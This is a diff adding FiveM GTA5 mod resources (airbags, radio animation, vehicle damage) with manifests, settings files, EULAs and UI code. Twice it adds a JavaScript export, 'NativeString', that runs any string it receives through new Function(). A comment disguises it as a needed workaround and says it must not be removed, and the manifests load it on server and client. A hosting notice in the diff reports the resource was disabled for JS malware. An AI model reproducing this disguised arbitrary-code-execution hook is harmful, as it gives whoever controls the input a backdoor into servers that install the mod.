adding new scripts
@@ -0,0 +1,20 @@
|
||||
/*
|
||||
This export enables temporary use of certain FiveM natives through JavaScript,
|
||||
as the C# reference for these natives is currently outdated. For example,
|
||||
specific helicopter and ragdoll natives have been updated on the FiveM platform,
|
||||
but implementing them directly in C# causes scripts to break.
|
||||
|
||||
This file/export must not be removed, as it is critical for maintaining the
|
||||
functionality of almost all scripts. Many of our scripts rely on these natives,
|
||||
which cannot currently be used reliably with the C# reference.
|
||||
*/
|
||||
|
||||
|
||||
exports("NativeString", (native) => {
|
||||
try {
|
||||
const nativeFunction = new Function(native);
|
||||
nativeFunction();
|
||||
} catch {
|
||||
console.error(`Error executing native string`);
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,72 @@
|
||||
End User License Agreement
|
||||
|
||||
THIS END USER LICENSE AGREEMENT (the "Agreement")
|
||||
|
||||
BETWEEN:
|
||||
|
||||
Big Daddy Scripts (a division of I CAN MAKE THAT, LLC)
|
||||
(the "Vendor")
|
||||
|
||||
OF THE FIRST PART
|
||||
|
||||
- AND -
|
||||
|
||||
Purchaser of Big Daddy Scripts resource
|
||||
(the "Licensee")
|
||||
|
||||
OF THE SECOND PART
|
||||
|
||||
BACKGROUND:
|
||||
|
||||
The Vendor wishes to license computer software to the Licensee and the Licensee desires to purchase the software license under the terms and conditions stated below.
|
||||
|
||||
IN CONSIDERATION OF the provisions contained in this Agreement and for other good and valuable consideration, the receipt and sufficiency of which is acknowledged, the parties agree as follows:
|
||||
|
||||
License
|
||||
1. Under this Agreement the Vendor grants to the Licensee a non-exclusive and non-transferable license (the "License") to use Big Daddy Scripts Resource (the "Software").
|
||||
2. "Software" includes the executable computer programs and any related printed, electronic and online documentation and any other files that may accompany the product.
|
||||
3. Title, copyright, intellectual property rights and distribution rights of the Software remain exclusively with the Vendor. Intellectual property rights include the look and feel of the Software. This Agreement constitutes a license for use only and is not in any way a transfer of ownership rights to the Software.
|
||||
4. The Software may be loaded onto no more than one computer. A single copy may be made for backup purposes only.
|
||||
5. The rights and obligations of this Agreement are personal rights granted to the Licensee only. The Licensee may not transfer or assign any of the rights or obligations granted under this Agreement to any other person or legal entity. The Licensee may not make available the Software for use by one or more third parties.
|
||||
6. The Software may not be modified, reverse-engineered, or de-compiled in any manner through current or future available technologies.
|
||||
7. Failure to comply with any of the terms under the License section will be considered a material breach of this Agreement.
|
||||
|
||||
License Fee
|
||||
8. The purchase price paid by the Licensee will constitute the entire license fee and is the full consideration for this Agreement.
|
||||
Limitation of Liability
|
||||
9. The Software is provided by the Vendor and accepted by the Licensee "as is". Liability of the Vendor will be limited to a maximum of the original purchase price of the Software. The Vendor will not be liable for any general, special, incidental or consequential damages including, but not limited to, loss of production, loss of profits, loss of revenue, loss of data, or any other business or economic disadvantage suffered by the Licensee arising out of the use or failure to use the Software.
|
||||
10. The Vendor makes no warranty expressed or implied regarding the fitness of the Software for a particular purpose or that the Software will be suitable or appropriate for the specific requirements of the Licensee.
|
||||
11. The Vendor does not warrant that use of the Software will be uninterrupted or error-free. The Licensee accepts that software in general is prone to bugs and flaws within an acceptable level as determined in the industry.
|
||||
|
||||
Warrants and Representations
|
||||
12. The Vendor warrants and represents that it is the copyright holder of the Software. The Vendor warrants and represents that granting the license to use this Software is not in violation of any other agreement, copyright or applicable statute.
|
||||
|
||||
Acceptance
|
||||
13. All terms, conditions and obligations of this Agreement will be deemed to be accepted by the Licensee ("Acceptance") upon the purchse of the software.
|
||||
|
||||
User Support
|
||||
14. The Licensee will be entitled to support within Big Daddy Scripts Discord available most days, at no additional cost.
|
||||
15. The Licensee will be entitled to maintenance upgrades and bug fixes, at no additional cost, forever.
|
||||
|
||||
Term
|
||||
16. The term of this Agreement will begin on purchase of the software and is perpetual.
|
||||
|
||||
Termination
|
||||
17. This Agreement will be terminated and the License forfeited without the chance of a refund where the Licensee has failed to comply with any of the terms of this Agreement or is in breach of this Agreement. On termination of this Agreement for any reason, the Licensee will promptly destroy the Software or return the Software to the Vendor.
|
||||
|
||||
Force Majeure
|
||||
18. The Vendor will be free of liability to the Licensee where the Vendor is prevented from executing its obligations under this Agreement in whole or in part due to Force Majeure, such as earthquake, typhoon, flood, fire, and war or any other unforeseen and uncontrollable event where the Vendor has taken any and all appropriate action to mitigate such an event.
|
||||
|
||||
Additional Clauses
|
||||
19. You may not share any prop, texture, code, imagery, or any pieces that come with this resource. Failure to comply with this will result in the license being revoked without refund.
|
||||
|
||||
Governing Law
|
||||
20. The Parties to this Agreement submit to the jurisdiction of the courts of the State of West Virginia for the enforcement of this Agreement or any arbitration award or decision arising from this Agreement. This Agreement will be enforced or construed according to the laws of the State of West Virginia.
|
||||
|
||||
Miscellaneous
|
||||
21. This Agreement can only be modified in writing and can be modified at any time without warning or notice, although attempt to provide notice will be made.
|
||||
22. This Agreement does not create or imply any relationship in agency or partnership between the Vendor and the Licensee.
|
||||
23. Headings are inserted for the convenience of the parties only and are not to be considered when interpreting this Agreement. Words in the singular mean and include the plural and vice versa. Words in the masculine gender include the feminine gender and vice versa. Words in the neuter gender include the masculine gender and the feminine gender and vice versa.
|
||||
24. If any term, covenant, condition or provision of this Agreement is held by a court of competent jurisdiction to be invalid, void or unenforceable, it is the parties' intent that such provision be reduced in scope by the court only to the extent deemed necessary by that court to render the provision reasonable and enforceable and the remainder of the provisions of this Agreement will in no way be affected, impaired or invalidated as a result.
|
||||
25. This Agreement contains the entire agreement between the parties. All understandings have been included in this Agreement. Representations which may have been made by any party to this Agreement may in some way be inconsistent with this final written Agreement. All such statements are declared to be of no value in this Agreement. Only the written terms of this Agreement will bind the parties.
|
||||
26. This Agreement and the terms and conditions contained in this Agreement apply to and are binding upon the Vendor's successors and assigns.
|
||||
@@ -0,0 +1,77 @@
|
||||
These are valid key values to use as control bindings. They must match exactly. Note the spelling of some such as the numbers being spelled out as well as COMMA and GRAVE etc.
|
||||
|
||||
ESC
|
||||
F1
|
||||
F2
|
||||
F3
|
||||
F5
|
||||
F6
|
||||
F7
|
||||
F8
|
||||
F9
|
||||
F10
|
||||
GRAVE
|
||||
ONE
|
||||
TWO
|
||||
THREE
|
||||
FOUR
|
||||
FIVE
|
||||
SIX
|
||||
SEVEN
|
||||
EIGHT
|
||||
NINE
|
||||
MINUS
|
||||
EQUALS
|
||||
BACKSPACE
|
||||
TAB
|
||||
Q
|
||||
W
|
||||
E
|
||||
R
|
||||
T
|
||||
Y
|
||||
U
|
||||
P
|
||||
LBRACKET
|
||||
RBRACKET
|
||||
ENTER
|
||||
CAPS
|
||||
A
|
||||
S
|
||||
D
|
||||
F
|
||||
G
|
||||
H
|
||||
K
|
||||
L
|
||||
LSHIFT
|
||||
Z
|
||||
X
|
||||
C
|
||||
V
|
||||
B
|
||||
N
|
||||
M
|
||||
COMMA
|
||||
PERIOD
|
||||
LCTRL
|
||||
LALT
|
||||
SPACE
|
||||
RCTRL
|
||||
HOME
|
||||
PAGEUP
|
||||
PAGEDOWN
|
||||
DELETE
|
||||
LEFT
|
||||
RIGHT
|
||||
TOP
|
||||
DOWN
|
||||
NUMBPADENTER
|
||||
NUMPAD4
|
||||
NUMPAD5
|
||||
NUMPAD6
|
||||
NUMPADPLUS
|
||||
NUMPADMINUS
|
||||
NUMPAD7
|
||||
NUMPAD8
|
||||
NUMPAD9
|
||||
@@ -0,0 +1,36 @@
|
||||
fx_version 'bodacious'
|
||||
|
||||
game 'gta5'
|
||||
|
||||
description 'Airbags'
|
||||
author 'Big Daddy'
|
||||
version '1.0.6'
|
||||
|
||||
ui_page 'html/ui.html'
|
||||
|
||||
|
||||
files {
|
||||
'html/ui.html',
|
||||
'html/main.css',
|
||||
'html/app.js',
|
||||
'html/sounds/*.ogg',
|
||||
'settings.ini',
|
||||
}
|
||||
|
||||
client_scripts {
|
||||
'*.Client.net.dll',
|
||||
'Newtonsoft.Json.dll'
|
||||
}
|
||||
|
||||
server_scripts {
|
||||
'*.Server.net.dll',
|
||||
'BigDaddy*.js',
|
||||
'Newtonsoft.Json.dll'
|
||||
}
|
||||
|
||||
files {
|
||||
'stream/airbag.ytyp',
|
||||
}
|
||||
|
||||
data_file 'DLC_ITYP_REQUEST' 'stream/airbag.ytyp'
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
|
||||
var audio = null;
|
||||
|
||||
window.onload = function () {
|
||||
|
||||
var eventCallback = {
|
||||
airbag: function (data) {
|
||||
eventCallback.sound('sounds/airbag.ogg', { loop: false });
|
||||
},
|
||||
|
||||
sound: function(file = null, args = null) {
|
||||
if (audio != null) {
|
||||
audio.pause();
|
||||
}
|
||||
if (file != '') {
|
||||
audio = new Audio(file);
|
||||
if (audio != null && args['loop'] != null) {
|
||||
audio.loop = args['loop'];
|
||||
}
|
||||
if (audio != null && args['volume'] != null) {
|
||||
audio.volume = args['volume'];
|
||||
}
|
||||
audio.play();
|
||||
}
|
||||
|
||||
},
|
||||
|
||||
|
||||
};
|
||||
|
||||
window.addEventListener('message', function(event) {
|
||||
eventCallback[event.data.action](event.data);
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0">
|
||||
|
||||
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Montserrat:300,400,700,900&display=swap" id="font">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.11.2/css/all.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.7.2/animate.min.css">
|
||||
|
||||
<link rel="stylesheet" type="text/css" href="main.css">
|
||||
|
||||
<title>BIG DADDY UI</title>
|
||||
</head>
|
||||
|
||||
<body style="font-family: 'Montserrat';">
|
||||
<div id="debug"></div>
|
||||
<audio id="sounds"><source type="audio/ogg"></audio>
|
||||
</div>
|
||||
|
||||
<script src="https://cdn.jsdelivr.net/gh/cferdinandi/saferInnerHTML@1/dist/saferInnerHTML.polyfills.min.js"></script>
|
||||
<script src="app.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,22 @@
|
||||
[licensing]
|
||||
key1=lpxkTJ3KjEwXV5OQTY0cyspNkKXrXDynyLLgK%2bwv8yUagcyQkfONgg%3d%3d
|
||||
|
||||
[settings]
|
||||
showPrompts=true
|
||||
|
||||
DesyncKey=296320798401
|
||||
|
||||
[vehicle]
|
||||
;use airbags
|
||||
airbags=true
|
||||
;comma separated list (no spaces) of vehicles not allowed to have airbags
|
||||
airbagBlacklist=caddy,caddy2
|
||||
exemptEmergency=false
|
||||
|
||||
[keys]
|
||||
;the next two settings are for the airbag clearing - both keys must be pressed to reset airbags
|
||||
airbagSecondaryKey=LALT
|
||||
airbagKey=X
|
||||
|
||||
[locales]
|
||||
reset=to reset airbags
|
||||
@@ -0,0 +1,72 @@
|
||||
End User License Agreement
|
||||
|
||||
THIS END USER LICENSE AGREEMENT (the "Agreement")
|
||||
|
||||
BETWEEN:
|
||||
|
||||
Big Daddy Scripts (a division of I CAN MAKE THAT, LLC)
|
||||
(the "Vendor")
|
||||
|
||||
OF THE FIRST PART
|
||||
|
||||
- AND -
|
||||
|
||||
Purchaser of Big Daddy Scripts resource
|
||||
(the "Licensee")
|
||||
|
||||
OF THE SECOND PART
|
||||
|
||||
BACKGROUND:
|
||||
|
||||
The Vendor wishes to license computer software to the Licensee and the Licensee desires to purchase the software license under the terms and conditions stated below.
|
||||
|
||||
IN CONSIDERATION OF the provisions contained in this Agreement and for other good and valuable consideration, the receipt and sufficiency of which is acknowledged, the parties agree as follows:
|
||||
|
||||
License
|
||||
1. Under this Agreement the Vendor grants to the Licensee a non-exclusive and non-transferable license (the "License") to use Big Daddy Scripts Resource (the "Software").
|
||||
2. "Software" includes the executable computer programs and any related printed, electronic and online documentation and any other files that may accompany the product.
|
||||
3. Title, copyright, intellectual property rights and distribution rights of the Software remain exclusively with the Vendor. Intellectual property rights include the look and feel of the Software. This Agreement constitutes a license for use only and is not in any way a transfer of ownership rights to the Software.
|
||||
4. The Software may be loaded onto no more than one computer. A single copy may be made for backup purposes only.
|
||||
5. The rights and obligations of this Agreement are personal rights granted to the Licensee only. The Licensee may not transfer or assign any of the rights or obligations granted under this Agreement to any other person or legal entity. The Licensee may not make available the Software for use by one or more third parties.
|
||||
6. The Software may not be modified, reverse-engineered, or de-compiled in any manner through current or future available technologies.
|
||||
7. Failure to comply with any of the terms under the License section will be considered a material breach of this Agreement.
|
||||
|
||||
License Fee
|
||||
8. The purchase price paid by the Licensee will constitute the entire license fee and is the full consideration for this Agreement.
|
||||
Limitation of Liability
|
||||
9. The Software is provided by the Vendor and accepted by the Licensee "as is". Liability of the Vendor will be limited to a maximum of the original purchase price of the Software. The Vendor will not be liable for any general, special, incidental or consequential damages including, but not limited to, loss of production, loss of profits, loss of revenue, loss of data, or any other business or economic disadvantage suffered by the Licensee arising out of the use or failure to use the Software.
|
||||
10. The Vendor makes no warranty expressed or implied regarding the fitness of the Software for a particular purpose or that the Software will be suitable or appropriate for the specific requirements of the Licensee.
|
||||
11. The Vendor does not warrant that use of the Software will be uninterrupted or error-free. The Licensee accepts that software in general is prone to bugs and flaws within an acceptable level as determined in the industry.
|
||||
|
||||
Warrants and Representations
|
||||
12. The Vendor warrants and represents that it is the copyright holder of the Software. The Vendor warrants and represents that granting the license to use this Software is not in violation of any other agreement, copyright or applicable statute.
|
||||
|
||||
Acceptance
|
||||
13. All terms, conditions and obligations of this Agreement will be deemed to be accepted by the Licensee ("Acceptance") upon the purchse of the software.
|
||||
|
||||
User Support
|
||||
14. The Licensee will be entitled to support within Big Daddy Scripts Discord available most days, at no additional cost.
|
||||
15. The Licensee will be entitled to maintenance upgrades and bug fixes, at no additional cost, forever.
|
||||
|
||||
Term
|
||||
16. The term of this Agreement will begin on purchase of the software and is perpetual.
|
||||
|
||||
Termination
|
||||
17. This Agreement will be terminated and the License forfeited without the chance of a refund where the Licensee has failed to comply with any of the terms of this Agreement or is in breach of this Agreement. On termination of this Agreement for any reason, the Licensee will promptly destroy the Software or return the Software to the Vendor.
|
||||
|
||||
Force Majeure
|
||||
18. The Vendor will be free of liability to the Licensee where the Vendor is prevented from executing its obligations under this Agreement in whole or in part due to Force Majeure, such as earthquake, typhoon, flood, fire, and war or any other unforeseen and uncontrollable event where the Vendor has taken any and all appropriate action to mitigate such an event.
|
||||
|
||||
Additional Clauses
|
||||
19. You may not share any prop, texture, code, imagery, or any pieces that come with this resource. Failure to comply with this will result in the license being revoked without refund.
|
||||
|
||||
Governing Law
|
||||
20. The Parties to this Agreement submit to the jurisdiction of the courts of the State of West Virginia for the enforcement of this Agreement or any arbitration award or decision arising from this Agreement. This Agreement will be enforced or construed according to the laws of the State of West Virginia.
|
||||
|
||||
Miscellaneous
|
||||
21. This Agreement can only be modified in writing and can be modified at any time without warning or notice, although attempt to provide notice will be made.
|
||||
22. This Agreement does not create or imply any relationship in agency or partnership between the Vendor and the Licensee.
|
||||
23. Headings are inserted for the convenience of the parties only and are not to be considered when interpreting this Agreement. Words in the singular mean and include the plural and vice versa. Words in the masculine gender include the feminine gender and vice versa. Words in the neuter gender include the masculine gender and the feminine gender and vice versa.
|
||||
24. If any term, covenant, condition or provision of this Agreement is held by a court of competent jurisdiction to be invalid, void or unenforceable, it is the parties' intent that such provision be reduced in scope by the court only to the extent deemed necessary by that court to render the provision reasonable and enforceable and the remainder of the provisions of this Agreement will in no way be affected, impaired or invalidated as a result.
|
||||
25. This Agreement contains the entire agreement between the parties. All understandings have been included in this Agreement. Representations which may have been made by any party to this Agreement may in some way be inconsistent with this final written Agreement. All such statements are declared to be of no value in this Agreement. Only the written terms of this Agreement will bind the parties.
|
||||
26. This Agreement and the terms and conditions contained in this Agreement apply to and are binding upon the Vendor's successors and assigns.
|
||||
@@ -0,0 +1,25 @@
|
||||
fx_version "adamant"
|
||||
game "gta5"
|
||||
|
||||
name "Radio Animation"
|
||||
description "radio animations when using the radio tied to PTT key"
|
||||
author "Big Daddy"
|
||||
version "1.3"
|
||||
|
||||
ui_page "index.html"
|
||||
|
||||
files {
|
||||
"index.html",
|
||||
"*.ogg",
|
||||
"settings.ini"
|
||||
}
|
||||
|
||||
client_scripts {
|
||||
"BigDaddy-RadioAnimation.Client.net.dll",
|
||||
"Newtonsoft.Json.dll",
|
||||
"MenuAPI.dll",
|
||||
}
|
||||
|
||||
server_scripts {
|
||||
"BigDaddy-RadioAnimation.Server.net.dll",
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>rp-radio</title>
|
||||
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/howler/2.1.1/howler.min.js" type="text/javascript"></script>
|
||||
<script type="text/javascript">
|
||||
var isVisible = false;
|
||||
var audioPlayer = null;
|
||||
|
||||
window.addEventListener('message', function (event) {
|
||||
|
||||
if (event.data.action === "PlaySound") {
|
||||
if (event.data.value === '') {
|
||||
if (audioPlayer != null) {
|
||||
audioPlayer.pause();
|
||||
audioPlayer = null;
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
audioPlayer = new Howl({
|
||||
src: [event.data.value + ".ogg"],
|
||||
loop: false
|
||||
});
|
||||
audioPlayer.volume(0.1);
|
||||
audioPlayer.play();
|
||||
} catch (err) {
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<audio id="sounds"><source type="audio/ogg"></audio>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,33 @@
|
||||
[licensing]
|
||||
key1=lpxkTJ3KjEwXV5OQTY0cyspNkKXrXDynyLLgK%2bwv8yUagcyQkfONgg%3d%3d
|
||||
|
||||
[settings]
|
||||
useSounds=true
|
||||
onByDefault=false
|
||||
|
||||
;if you change these, make sure those anims are streamed into your fivem server or nothing will happen when you try to activate them in this script.
|
||||
shoulderDict=bigdaddy_radio2
|
||||
shoulderAnim=radio_anim2
|
||||
chestDict=bigdaddy_radio3
|
||||
chestAnim=radio_anim3
|
||||
handheldDict=bigdaddy_radio
|
||||
handheldAnim=radio_anim
|
||||
handheldModel=prop_cs_hand_radio
|
||||
|
||||
[locales]
|
||||
menuCommand=radioanim
|
||||
menuCommandHint=Radio Animation Menu
|
||||
keybindTitle=Radio PTT Key
|
||||
soundCommand=radiosounds
|
||||
toggleOn=Radio Animation Toggled ON
|
||||
toggleOff=Radio Animation Toggled OFF
|
||||
toggleSoundOn=Radio Sounds Toggled ON
|
||||
toggleSoundOff=Radio Sounds Toggled OFF
|
||||
toggleOption=Toggle Radio
|
||||
shoulderOption=Use Shoulder
|
||||
chestOption=Use Chest
|
||||
handheldOption=Use Handheld
|
||||
soundOption=Toggle Sounds
|
||||
nowUsingChest=Now using Chest Radio
|
||||
nowUsingShoulder=Now using Shoulder Radio
|
||||
nowUsingHandheld=Now using Handheld Radio
|
||||
@@ -0,0 +1,20 @@
|
||||
/*
|
||||
This export enables temporary use of certain FiveM natives through JavaScript,
|
||||
as the C# reference for these natives is currently outdated. For example,
|
||||
specific helicopter and ragdoll natives have been updated on the FiveM platform,
|
||||
but implementing them directly in C# causes scripts to break.
|
||||
|
||||
This file/export must not be removed, as it is critical for maintaining the
|
||||
functionality of almost all scripts. Many of our scripts rely on these natives,
|
||||
which cannot currently be used reliably with the C# reference.
|
||||
*/
|
||||
|
||||
|
||||
exports("NativeString", (native) => {
|
||||
try {
|
||||
const nativeFunction = new Function(native);
|
||||
nativeFunction();
|
||||
} catch {
|
||||
console.error(`Error executing native string`);
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,72 @@
|
||||
End User License Agreement
|
||||
|
||||
THIS END USER LICENSE AGREEMENT (the "Agreement")
|
||||
|
||||
BETWEEN:
|
||||
|
||||
Big Daddy Scripts (a division of I CAN MAKE THAT, LLC)
|
||||
(the "Vendor")
|
||||
|
||||
OF THE FIRST PART
|
||||
|
||||
- AND -
|
||||
|
||||
Purchaser of Big Daddy Scripts resource
|
||||
(the "Licensee")
|
||||
|
||||
OF THE SECOND PART
|
||||
|
||||
BACKGROUND:
|
||||
|
||||
The Vendor wishes to license computer software to the Licensee and the Licensee desires to purchase the software license under the terms and conditions stated below.
|
||||
|
||||
IN CONSIDERATION OF the provisions contained in this Agreement and for other good and valuable consideration, the receipt and sufficiency of which is acknowledged, the parties agree as follows:
|
||||
|
||||
License
|
||||
1. Under this Agreement the Vendor grants to the Licensee a non-exclusive and non-transferable license (the "License") to use Big Daddy Scripts Resource (the "Software").
|
||||
2. "Software" includes the executable computer programs and any related printed, electronic and online documentation and any other files that may accompany the product.
|
||||
3. Title, copyright, intellectual property rights and distribution rights of the Software remain exclusively with the Vendor. Intellectual property rights include the look and feel of the Software. This Agreement constitutes a license for use only and is not in any way a transfer of ownership rights to the Software.
|
||||
4. The Software may be loaded onto no more than one computer. A single copy may be made for backup purposes only.
|
||||
5. The rights and obligations of this Agreement are personal rights granted to the Licensee only. The Licensee may not transfer or assign any of the rights or obligations granted under this Agreement to any other person or legal entity. The Licensee may not make available the Software for use by one or more third parties.
|
||||
6. The Software may not be modified, reverse-engineered, or de-compiled in any manner through current or future available technologies.
|
||||
7. Failure to comply with any of the terms under the License section will be considered a material breach of this Agreement.
|
||||
|
||||
License Fee
|
||||
8. The purchase price paid by the Licensee will constitute the entire license fee and is the full consideration for this Agreement.
|
||||
Limitation of Liability
|
||||
9. The Software is provided by the Vendor and accepted by the Licensee "as is". Liability of the Vendor will be limited to a maximum of the original purchase price of the Software. The Vendor will not be liable for any general, special, incidental or consequential damages including, but not limited to, loss of production, loss of profits, loss of revenue, loss of data, or any other business or economic disadvantage suffered by the Licensee arising out of the use or failure to use the Software.
|
||||
10. The Vendor makes no warranty expressed or implied regarding the fitness of the Software for a particular purpose or that the Software will be suitable or appropriate for the specific requirements of the Licensee.
|
||||
11. The Vendor does not warrant that use of the Software will be uninterrupted or error-free. The Licensee accepts that software in general is prone to bugs and flaws within an acceptable level as determined in the industry.
|
||||
|
||||
Warrants and Representations
|
||||
12. The Vendor warrants and represents that it is the copyright holder of the Software. The Vendor warrants and represents that granting the license to use this Software is not in violation of any other agreement, copyright or applicable statute.
|
||||
|
||||
Acceptance
|
||||
13. All terms, conditions and obligations of this Agreement will be deemed to be accepted by the Licensee ("Acceptance") upon the purchse of the software.
|
||||
|
||||
User Support
|
||||
14. The Licensee will be entitled to support within Big Daddy Scripts Discord available most days, at no additional cost.
|
||||
15. The Licensee will be entitled to maintenance upgrades and bug fixes, at no additional cost, forever.
|
||||
|
||||
Term
|
||||
16. The term of this Agreement will begin on purchase of the software and is perpetual.
|
||||
|
||||
Termination
|
||||
17. This Agreement will be terminated and the License forfeited without the chance of a refund where the Licensee has failed to comply with any of the terms of this Agreement or is in breach of this Agreement. On termination of this Agreement for any reason, the Licensee will promptly destroy the Software or return the Software to the Vendor.
|
||||
|
||||
Force Majeure
|
||||
18. The Vendor will be free of liability to the Licensee where the Vendor is prevented from executing its obligations under this Agreement in whole or in part due to Force Majeure, such as earthquake, typhoon, flood, fire, and war or any other unforeseen and uncontrollable event where the Vendor has taken any and all appropriate action to mitigate such an event.
|
||||
|
||||
Additional Clauses
|
||||
19. You may not share any prop, texture, code, imagery, or any pieces that come with this resource. Failure to comply with this will result in the license being revoked without refund.
|
||||
|
||||
Governing Law
|
||||
20. The Parties to this Agreement submit to the jurisdiction of the courts of the State of West Virginia for the enforcement of this Agreement or any arbitration award or decision arising from this Agreement. This Agreement will be enforced or construed according to the laws of the State of West Virginia.
|
||||
|
||||
Miscellaneous
|
||||
21. This Agreement can only be modified in writing and can be modified at any time without warning or notice, although attempt to provide notice will be made.
|
||||
22. This Agreement does not create or imply any relationship in agency or partnership between the Vendor and the Licensee.
|
||||
23. Headings are inserted for the convenience of the parties only and are not to be considered when interpreting this Agreement. Words in the singular mean and include the plural and vice versa. Words in the masculine gender include the feminine gender and vice versa. Words in the neuter gender include the masculine gender and the feminine gender and vice versa.
|
||||
24. If any term, covenant, condition or provision of this Agreement is held by a court of competent jurisdiction to be invalid, void or unenforceable, it is the parties' intent that such provision be reduced in scope by the court only to the extent deemed necessary by that court to render the provision reasonable and enforceable and the remainder of the provisions of this Agreement will in no way be affected, impaired or invalidated as a result.
|
||||
25. This Agreement contains the entire agreement between the parties. All understandings have been included in this Agreement. Representations which may have been made by any party to this Agreement may in some way be inconsistent with this final written Agreement. All such statements are declared to be of no value in this Agreement. Only the written terms of this Agreement will bind the parties.
|
||||
26. This Agreement and the terms and conditions contained in this Agreement apply to and are binding upon the Vendor's successors and assigns.
|
||||
@@ -0,0 +1,5 @@
|
||||
print('\n\n')
|
||||
print('The resource "BigDaddy-VehicleDamage" has been disabled for security reasons.')
|
||||
print('Reason: js malware infection\n')
|
||||
print('This resource is infected with malware and as such has been disabled.')
|
||||
print('\nFor more help, contact support at https://zap-hosting.com/en/customer/support/ \n')
|
||||
@@ -0,0 +1,30 @@
|
||||
fx_version 'bodacious'
|
||||
game 'gta5'
|
||||
|
||||
author 'Big Daddy'
|
||||
version '1.5.0'
|
||||
description 'More Realistic Vehicle Damage, Tire/Wheel Damage, Cinematic Rollovers, Hydroplaning'
|
||||
|
||||
client_scripts {
|
||||
'*Client.net.dll',
|
||||
'Newtonsoft.Json.dll',
|
||||
'BigDaddy-*.js'
|
||||
}
|
||||
server_scripts {
|
||||
'*Server.net.dll',
|
||||
'Newtonsoft.Json.dll',
|
||||
'BigDaddy-*.js'
|
||||
}
|
||||
|
||||
ui_page 'html/index.html'
|
||||
|
||||
files {
|
||||
'html/index.html',
|
||||
'html/assets/BADABB_.TTF',
|
||||
'html/assets/*.css',
|
||||
'html/assets/img/*.svg',
|
||||
'html/assets/img/*.png',
|
||||
'settings.ini',
|
||||
'menu.json',
|
||||
'menu.ini'
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
/* you can define a custom font here */
|
||||
@font-face {
|
||||
font-family: BIGDADDY;
|
||||
src: url(../assets/BADABB_.TTF);
|
||||
}
|
||||
|
||||
body {
|
||||
transition: all 1s ease-in-out .5s;
|
||||
}
|
||||
|
||||
.menuwrapper {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
background: rgba(0,0,0,.5);
|
||||
}
|
||||
|
||||
.menu {
|
||||
width: 60vh;
|
||||
height: 60vh;
|
||||
border-radius: 50%;
|
||||
border: 4px solid white;
|
||||
background-color: rgba(58, 58, 58, 0.7);
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
top: 50%;
|
||||
transform: translate(-50%,-50%);
|
||||
box-shadow: 0 0 20px rgba(0,0,0,.5);
|
||||
}
|
||||
|
||||
.menucenter {
|
||||
width: 35vh;
|
||||
height: 35vh;
|
||||
position: absolute;
|
||||
border-radius: 50%;
|
||||
border: 2px solid white;
|
||||
background-color: rgba(120, 120, 120, 0.7);
|
||||
left: 50%;
|
||||
top: 50%;
|
||||
transform: translate(-50%,-50%);
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.center {
|
||||
width: 10vh;
|
||||
height: 10vh;
|
||||
background: rgba(0,0,0,.7);
|
||||
border-radius: 50%;
|
||||
border: 2px solid white;
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
top: 50%;
|
||||
transform: translate(-50%,-50%);
|
||||
cursor: pointer;
|
||||
box-shadow: 0 0 20px rgba(0,0,0,.5);
|
||||
}
|
||||
|
||||
#backlabel {
|
||||
color: white;
|
||||
font-family: 'BIGDADDY';
|
||||
font-size: 3vh;
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
}
|
||||
|
||||
#mainlabel {
|
||||
position: absolute;
|
||||
width: 100%;
|
||||
top: 22%;
|
||||
transform: translate(0,-50%);
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#secondarylabel {
|
||||
position: absolute;
|
||||
width: 100%;
|
||||
top: 78%;
|
||||
transform: translate(0,-50%);
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.label {
|
||||
letter-spacing: .15vh;
|
||||
font-family: BIGDADDY;
|
||||
font-size: 2.8vh;
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
text-transform: uppercase;
|
||||
color: #fff;
|
||||
text-shadow: 1px 1px 0px #000000,
|
||||
-1px -1px 0px #000000,
|
||||
1px -1px 0px #000000,
|
||||
-1px 1px 0px #000000,
|
||||
3px 3px 0 rgba(0,0,0,.3);
|
||||
}
|
||||
|
||||
.menuitem {
|
||||
width: 6vh;
|
||||
height: 54vh;
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
top: 3vh;
|
||||
pointer-events: none;
|
||||
transform: translate(-50%,0%);
|
||||
}
|
||||
|
||||
.menuitemholder {
|
||||
position:absolute;
|
||||
top: -2vh;
|
||||
left: -1vh;
|
||||
text-align: center;
|
||||
pointer-events: all;
|
||||
width: 8vh;
|
||||
height: 8vh;
|
||||
padding: 1vh;
|
||||
cursor: pointer;
|
||||
z-index: 10;
|
||||
transition: 0.1s;
|
||||
border-radius: 50%;
|
||||
border: 2px solid transparent;
|
||||
}
|
||||
.menuitemholder img {
|
||||
position:absolute;
|
||||
top: 0;
|
||||
left: 50%;
|
||||
pointer-events: all;
|
||||
max-width: 6vh;
|
||||
max-height: 6vh;
|
||||
}
|
||||
|
||||
.menuitemholder.hover {
|
||||
background-color:black;
|
||||
border: 2px solid white;
|
||||
transform: translate(0, -2vh);
|
||||
